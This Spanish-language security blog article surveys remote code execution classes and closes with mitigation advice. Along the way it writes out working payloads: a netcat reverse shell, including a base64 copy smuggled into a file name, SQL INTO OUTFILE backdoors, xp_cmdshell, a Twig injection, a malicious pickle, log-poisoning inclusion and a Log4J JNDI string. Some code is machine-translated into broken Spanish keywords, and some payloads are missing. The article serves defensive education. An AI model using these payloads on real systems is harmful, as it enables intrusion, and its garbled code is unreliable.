
Manuel Roccon : 14 noviembre 2025 11:56
De todas las vulnerabilidades, la más temida por las víctimas y la más buscada por los atacantes es la ejecución remota de código (RCE). Esta vulnerabilidad permite ejecutar comandos arbitrarios en el sistema atacado. Estos comandos pueden enviarse mediante scripts: por ejemplo, una página PHP cargada en un servidor web, comandos de la shell de Windows o incluso instrucciones de máquina en caso de desbordamiento de búfer.
Este tipo de vulnerabilidad permite tomar el control rápidamente del sistema de la víctima, y este ataque se lleva a cabo de forma remota sin acceso físico. Estas vulnerabilidades se explotan por diversos motivos, desde el acceso no autorizado al sistema hasta la instalación de software no autorizado.
Pero la cosa no termina ahí: algunas características amplifican el efecto, por ejemplo, cuando la vulnerabilidad no está autenticada (lo que se conoce como ejecución remota de código no autenticada) o cuando se obtienen permisos elevados de inmediato (como «system» en sistemas Windows o «root» en Linux). Vulnerabilidades como esta pueden alcanzar fácilmente puntuaciones CVSS de 9.8 a 10.
Aquí tenéis algunos ejemplos de las consecuencias de esta vulnerabilidad:
Penetración: Los atacantes pueden obtener acceso a la red o al sistema.
Esta interrupción puede afectar la productividad, el servicio al cliente y la continuidad general del negocio.
Un ejemplo es una vulnerabilidad descubierta hace unos años. Era marzo de 2021 y una mañana comenzó con un ataque devastador, inicialmente desconocido, que afectó a los sistemas de correo Exchange a través de una vulnerabilidad de día cero posteriormente denominada Proxy Logon (CVE-2021-26855 + CVE-2021-27065).
Los atacantes intentaron subir código ejecutable para comprometer servidores de correo, lo cual, afortunadamente, fue detectado por los sistemas EDR instalados. Este tipo de ataque es un ejemplo de ejecución remota de código y se ha clasificado como 9.8 cvss v3. Para más información: https://proxylogon.com/
La mayoría de las vulnerabilidades de ejecución remota de código (RCE) están encadenadas a otras vulnerabilidades o se explotan a través de otras debilidades insertadas en el código o las configuraciones. Veamos algunas de ellas con ejemplos sencillos:
En seguridad del desarrollo de software, un desbordamiento de búfer es una anomalía en la que un programa, al escribir datos de entrada excesivamente grandes en un búfer, se desborda hacia áreas de memoria adyacentes.
Por lo tanto, el programa posteriormente intentará acceder a punteros de memoria no válidos porque han sido sobrescritos. Al no tener ya una referencia válida a la siguiente área de memoria que contiene la siguiente instrucción a ejecutar, fallará o intentará acceder sin autorización a otra área de memoria.
Un atacante, al identificar y manipular las áreas que conducirían al comportamiento explicado anteriormente, puede modificar el flujo de ejecución mediante entradas especialmente diseñadas, obligando al programa a ejecutar código arbitrario inyectado por el atacante.
Tomemos como ejemplo la vulnerabilidad CVE-2017-14980, que afecta a Sync Breeze Enterprise 10.0.28, un programa de sincronización de archivos. Este software cuenta con una interfaz web protegida mediante inicio de sesión.
Se descubrió que pasar un nombre de usuario muy largo en la llamada de inicio de sesión provocaba que el software generara un desbordamiento de búfer.
Como se mencionó anteriormente, al generar una carga útil especial que se pasa como entrada de nombre de usuario en la solicitud de inicio de sesión, este desbordamiento de búfer podría aprovecharse para ejecutar código remoto.
Ya habíamos hablado de ello aquí con un ejemplo práctico del equipo de Hackerhood.
Cuando los datos transmitidos del cliente al servidor no se filtran suficientemente de caracteres que podrían modificar el comportamiento de la aplicación, se produce la ejecución de código arbitrario.
Supongamos este fragmento de código donde el sistema sube un archivo a Google Drive a través de un archivo subido por el usuario.
ejecutar("python pydrive.py " . $path . addslashes(trim($fileName));En este caso, el procedimiento generará un comando de Python y lo ejecutará en la consola del sistema. Podríamos usar el nombre del archivo para optimizar un comando. Existen medidas de seguridad, pero si bien mitigan la inyección SQL, no son suficientes para mitigar este tipo de ataque de ejecución remota de código (RCE), por lo que es posible optimizar un segundo comando.
El comando podría ser « rm tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc 10.11.0.4 1234 >/tmp/f « , pero no se puede usar para renombrar un archivo antes de subirlo, ya que algunos caracteres especiales lo impiden (aunque podríamos modificar la llamada REST, lo intentamos de otra manera).
No se preocupen, quienes conozcan bash sabrán que es posible ejecutar un comando codificado en base64: usando el carácter $(), el shell ejecutará el contenido incluso antes de ejecutar el comando de Python, así que carguemos un archivo con el nombre:
$(cm0gdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMSB8IG5jIDEwLjExLjAuNCAxMjM0ID4vdG1wL2Y= | base64 -d | bash);La aplicación ejecutará este comando desde la terminal bash de Linux e iniciará una shell inversa.
python pydrive.py /test/$(cm0gdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMSB8IG5jIDEwLjExLjAuNCAxMjM0ID4vdG1wL2Y= | base64 -d | bash);El principal problema es que no se han filtrado los caracteres que podrían interactuar con los comandos que se ejecutarán en la shell.
Un caso clásico de ejecución remota de código (RCE) implica la carga de archivos arbitrarios que contienen código ejecutable sin haber sido filtrados correctamente. Si las funciones de carga de archivos no se implementan ni se prueban adecuadamente, pueden permitir la carga de archivos maliciosos para obtener RCE.
En este escenario, una hipotética aplicación web PHP permite al usuario subir imágenes y visualizarlas en una galería tras la subida. Estas imágenes se almacenan en la carpeta «/img/» en una ubicación pública del servidor web. Los archivos no se verifican ni se renombran. Por lo tanto, podríamos subir un archivo con el siguiente código : «» con la extensión .php , como por ejemplo exploit.php.
En este punto, una vez que se ha cargado el mensaje, inspeccionamos el DOM y deberíamos encontrar la imagen cargada, o la que se suponía que debía estarlo.
<pre class="wp-block-syntaxhighlighter-code"> <img></pre>Al acceder a esta ruta, lo más probable es que se ejecute el código contenido en el archivo. En este caso, no se ha comprobado ni el contenido ni la extensión del archivo subido. Si es posible, impida que el archivo sea accesible públicamente. En este punto, solo queda acceder a la URL identificada: http://example.local/img/exploit.php?cmd=ls
Estas vulnerabilidades surgen de una inadecuada validación de las entradas. Si un atacante proporciona entradas maliciosas especialmente diseñadas, algunas de ellas pueden interpretarse como comandos ejecutables, lo que le permite ejecutar su propio código. Esta categoría incluye SQLi (inyección SQL) y SSTI (inyección de plantillas del lado del servidor).
Una inyección SQL (o SQLi) es una vulnerabilidad de seguridad informática que permite a un atacante interferir con las consultas SQL que una aplicación envía a una base de datos. Básicamente, el atacante inyecta código SQL malicioso en la entrada del usuario (como los campos de texto de un formulario web) para manipular la consulta original y obtener resultados no deseados.
Por ejemplo, en MySQL, si el permiso FILE está habilitado en los permisos del usuario que ejecuta las consultas, es posible ejecutar código remoto.
Supongamos que este fragmento de código gestiona la solicitud a la base de datos para una página antes de ejecutarla:
$sql = 'SELECT * FROM user WHERE username = "' + $username '"'La aplicación espera un nombre de usuario para comprobar si existe o no, como «mario» . En lugar de «mario», pasamos este fragmento de SQL:
1" union all select 1, 2, "" into OUTFILE "c:/xampp/htdocs/backdoor.php" #Esto se añadirá a la consulta original antes de crear una nueva que el motor de la base de datos ejecutará.
SELECT * FROM user WHERE username = "1" union all select 1, 2, "" into OUTFILE "c:/xampp/htdocs/backdoor.php" #El proceso está extremadamente simplificado, pero de esta manera habríamos inducido a la consulta SQL a escribir contenido en una ruta arbitraria.
http://example.local/backdoor.php?cmd=lsSi en cambio estuviéramos en el entorno de Microsoft SQL Server, incluso podríamos enviar comandos de shell al motor de la base de datos listos para ser ejecutados agregando estos comandos a la consulta original:
EXEC sp_configure 'Mostrar opciones avanzadas', 1; reconfigure; sp_configure; EXEC sp_configure 'xp_cmdshell', 1; reconfigure; xp_cmdshell "whoami";La víctima ejecutará el comando `whoami` en su consola. Una de las razones es la concatenación no controlada de código SQL y variables, además de permitir comandos que podrían estar deshabilitados como FILE.
En determinadas condiciones, el uso de usuarios de bases de datos con privilegios elevados (como root o sa) puede amplificar el poder del ataque y permitir, por ejemplo, la ejecución de comandos como xp_cmdshell en mssql.
Al igual que con la inyección SQL, cuando se pasa información del usuario sin filtrar a un motor de plantillas y esta se concatena en plantillas en lugar de pasarse como datos, puede producirse una condición de ejecución remota de código. Veamos un ejemplo aplicado a una versión anterior de Twig (1.9.0).
Las plantillas estáticas que simplemente proporcionan marcadores de posición a los que se redirige el contenido dinámico generalmente no son vulnerables a la inyección de plantillas del lado del servidor, como en el ejemplo siguiente:
$output = $twig->render("Estimado/a {first_name}," array("first_name" => $user.first_name) );Pero si, en cambio, la entrada del usuario se concatena en la plantilla antes de la renderización, como en este ejemplo:
$output = $twig->render("Estimado " . $_GET['name']);En esta ocasión, los usuarios pueden personalizar partes del código antes de que se envíe a renderizar.
Así que, en lugar de pasar un valor estático, como “mario”, pasamos {{payload}} como parámetro GET, pudiendo así ejecutar código arbitrario:
http://example.com/?name={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls")}}En este caso, accediendo al entorno Twig y utilizando la función registerUndefinedFilterCallback, puede registrar un alias para la función exec. Luego, llame a getFilter con el comando deseado ls [call_user_func(‘exec’,’id’);].
En este punto veremos el resultado del comando.
Este método facilita la transmisión de datos al empaquetarlos en una única cadena de bits, que el sistema receptor puede decodificar.
Si la estructura de los datos serializados no está bien definida, un atacante podría crear datos de entrada que se interpretarían erróneamente durante el desempaquetado.
Esta mala interpretación podría dar lugar a la ejecución remota de código, dependiendo de cómo se procesen y almacenen los datos.
El siguiente código es un ejemplo sencillo del uso de cPickle para generar un auth_token, que es un objeto de usuario serializado, y luego guardarlo en una cookie.
importar cPickle
from base64 import b64encode, b64decode
Clase Usuario:
def __init__(self):
self.username = "anónimo"
self.password = "anónimo"
rango propio = "invitado"
h = Usuario()
token_de_autenticación = b64encode(cPickle.dumps(h))
cookie = {'auth_token': auth_token}En Python, `pickle.dumps()` es una función que se utiliza para serializar un objeto en un flujo de bytes. El resultado se puede usar, por ejemplo, en las cookies para gestionar procesos de autenticación.
En cada solicitud, la víctima deserializará el objeto para reconstruirlo.
token = cPickle.loads(b64decode(new_token))La vulnerabilidad se produce cuando el atacante logra manipular este flujo de datos, en este caso modificando el objeto serializado presente en la cookie, por ejemplo, del navegador.
Así, al crear un nuevo objeto serializado ad hoc, podemos ejecutar código remoto en la víctima una vez que se haya deserializado para leer su contenido.
importar cPickle, os
from base64 import b64encode, b64decode
clase Malvado(objeto):
def __reduce__(self):
devolver (os.system,("whoami",))
e = Malvado()
token_malvado = b64encode(cPickle.dumps(e))Cuando el objeto se deserializa en el servidor, se invocará el método __reduce__ y se ejecutará el comando remoto «whoami».
Se produce una condición de carrera cuando el resultado final depende del orden preciso en que estos procesos/hilos realizan sus operaciones. En otras palabras, el resultado se vuelve impredecible y puede variar dependiendo de qué proceso «gane la carrera» para acceder primero al recurso.
Tomemos como ejemplo CVE-2021-24377; el sistema implica cargar un archivo zip, luego descomprimir todos los archivos en un directorio conocido y, finalmente, eliminar los archivos recién extraídos.
La CONDICIÓN DE CARRERA se producirá si, inmediatamente después de cargar este archivo, intentamos repetidamente acceder al enlace público de un archivo contenido en él, ya que el sistema comenzará a descomprimir el archivo zip antes de que el procedimiento termine de descomprimirlo y, por lo tanto, de eliminar los archivos descomprimidos.
Si el archivo incluyera un archivo con contenido PHP activo (backdoor.php), podríamos entonces llamar a esto, transformando el ataque de una condición de carrera a una ejecución remota de código (RCE).
LFI permite cargar contenido local con código ejecutable por la aplicación. El objetivo principal es poder cargar este contenido. En este ejemplo, tenemos un servidor web Apache con la configuración predeterminada, donde se accede a las distintas páginas incluyendo el archivo en la URL.
http://example.local?page=index.phpEn este punto, suponiendo que los registros de Apache se encuentran en la ruta /var/logs/httpd/access.log, podríamos inyectar algún código PHP a través de netcat.
puerto ip ncUna vez abierta la conexión, escribiremos:
En este punto, lo único que haríamos sería acceder al sitio y ejecutar comandos a través del enlace:
http://example.local?page=/var/logs/httpd/access.log?cmd=lsLa inclusión remota es aún más sencilla. Consiste en cargar contenido remoto, normalmente mediante una URL. Si el servidor web tiene habilitada la inclusión remota (allow_url_include=on), podríamos incluir el código mostrado anteriormente, por ejemplo, en Pastbin.
Entonces llámalo de vuelta
http://example.local?page=https://pastebin.com/raw/[hash]?cmd=lsLa inyección de DLL es una técnica que permite ejecutar código arbitrario dentro del espacio de direcciones de un proceso en ejecución. Esto se logra cargando una DLL (biblioteca de enlace dinámico) en el proceso objetivo.
Los pasos principales son:
Asignación de memoria: El proceso inyector asigna memoria en el proceso objetivo.
Escritura de la ruta de la DLL: La ruta de la DLL que se va a inyectar se escribe en la memoria asignada.
Carga de la DLL: Se llama a la función LoadLibrary para cargar la DLL en el proceso de destino.
Un ejemplo del mundo real es CVE-2020-7315. La vulnerabilidad afecta a McAfee Agent (MA) para Windows anterior a la versión 5.6.6 y permite a los usuarios locales ejecutar código arbitrario mediante el uso de una DLL maliciosa.
La causa es la falta de un DDL en la ruta C:WindowsSystem32 que el proceso McAfee macompatsvc.exe intenta cargar al inicio.
De este modo, un atacante, al colocar una nueva DLL maliciosa en esa ruta, puede ejecutar código malicioso desde dentro del ejecutable cuando se reinicie el proceso.
Otro ataque más sofisticado consiste en utilizar inyectores que usan las API VirtualAllocEx, WriteProcessMemory y CreateRemoteThread para cargar dinámicamente una DLL en un proceso ya activo.
En un sistema vulnerable, una vez comprometido, bastaría con identificar el PID del proceso objetivo. Esto requiere falsificar una DLL maliciosa e inyectarla mediante un inyector.
En términos generales, el proceso es el siguiente:
Aquí tenéis algunos ejemplos de inyectores de DLL y cargas útiles:
Inyector DLL
Carga útil DDL
Esta técnica puede suponer una amenaza importante, especialmente para sistemas heredados y mal configurados. Estos sistemas suelen carecer de los parches de seguridad y las configuraciones necesarias para defenderse de ataques tan sofisticados, o de sistemas de detección y respuesta a incidentes (EDR) que detecten el uso indebido de estas API por parte de los procesos.
Ya habíamos visto el uso de estas API como VirtualAlloc en el análisis del infostealer Tesla Agent.
https://www.redhotcyber.com/post/rhc-da-vita-alloperazione-pollicino-alla-caccia-di-agent-tesla/

Explotar ciertas vulnerabilidades CVE es otro método para lograr la ejecución remota de código. Las empresas que gestionan programas de recompensas por errores integran constantemente servicios y paquetes de terceros (como bibliotecas y marcos de trabajo), ya que pueden acelerar el desarrollo y reducir los costes tecnológicos generales asociados.
Pero esto tiene un precio: estos servicios integrados a menudo contienen código inseguro que puede provocar la ejecución remota de código (RCE). Tomemos como ejemplo Log4J (CVE-2021-44228). Una carga útil simple como la que se muestra a continuación podría haber afectado a cualquier servidor que utilizara Apache Log4J, como los sistemas de virtualización de VMware.
${jndi:ldap://url.com/exploit}Existen diferentes métodos para mitigar los impactos de la ejecución remota de código, algunos de los cuales analizaremos a continuación.
Mantenga el software actualizado: Actualice periódicamente el software, las bibliotecas, los marcos de trabajo y los sistemas operativos con los últimos parches de seguridad, incluidas las dependencias de terceros. Análisis de vulnerabilidades: Utilice herramientas para identificar vulnerabilidades conocidas en las dependencias.
Proceso de gestión de parches: Implementar un proceso formal para el seguimiento, las pruebas y la aplicación de parches de seguridad.
Evite deserializar datos no confiables: Siempre que sea posible, evite deserializar datos de fuentes no confiables. Valide los datos deserializados: Si la deserialización es necesaria, valide la estructura y el contenido de los objetos deserializados antes de utilizarlos.
Utilice bibliotecas de deserialización seguras: Utilice bibliotecas diseñadas para prevenir vulnerabilidades de deserialización.
Implemente un WAF: Un WAF puede ayudar a detectar y bloquear el tráfico malicioso, incluidos los intentos de explotar la ejecución remota de código (RCE) e incluso las vulnerabilidades de día cero.
Esta es una importante capa de defensa y prevención, ¡pero no reemplaza las prácticas de codificación segura ni todo lo mencionado anteriormente!
Las vulnerabilidades que permiten la ejecución remota de código (RCE) son problemas realmente graves y están más extendidas de lo que se podría pensar. Al desarrollar una aplicación o sistemas cliente-servidor, siempre se deben seguir las mejores prácticas, tanto durante las fases de diseño e implementación como antes de su despliegue en producción y durante el mantenimiento continuo.
Una recomendación es monitorear constantemente las vulnerabilidades a través de comunidades como RedHotCyber y los comunicados de los proveedores de software (donde a menudo se puede suscribir para recibir sus novedades). La Agencia Nacional de Ciberseguridad , como se indica en las preguntas frecuentes, también monitorea y difunde información de forma proactiva sobre las amenazas emergentes y las medidas de mitigación relacionadas a través de sus canales públicos.
Por lo tanto, podemos seguir su canal de Telegram en el enlace https://t.me/s/CSIRT_Italia
Otro canal interesante es el de Cert Agid, en el enlace https://t.me/certagid

Los atacantes están explotando activamente una vulnerabilidad crítica en el sistema de protección de aplicaciones web (WAF) FortiWeb de Fortinet, que podría utilizarse como medio para realizar ata...

En uno de los foros más populares de Rusia para la compraventa de vulnerabilidades y herramientas de ataque, el hilo apareció como un anuncio comercial estándar, pero su contenido dista mucho de se...

A menudo hablamos del servicio de ransomware como servicio (RaaS) LockBit, recientemente renovado como LockBit 3.0, que sigue aportando innovaciones significativas al panorama del ransomware. Estas in...

En esta apasionante historia, viajaremos a 1959 al Club de Ferrocarriles en Miniatura del MIT Tech y conoceremos a Steve Russell. Steve fue uno de los primeros hackers y escribió uno de los primeros ...

El significado de » hacker » tiene profundas raíces. Proviene del inglés «to hack», que significa picar, cortar, golpear o mutilar. Es una imagen poderosa: la de un campesino rompiendo terrones ...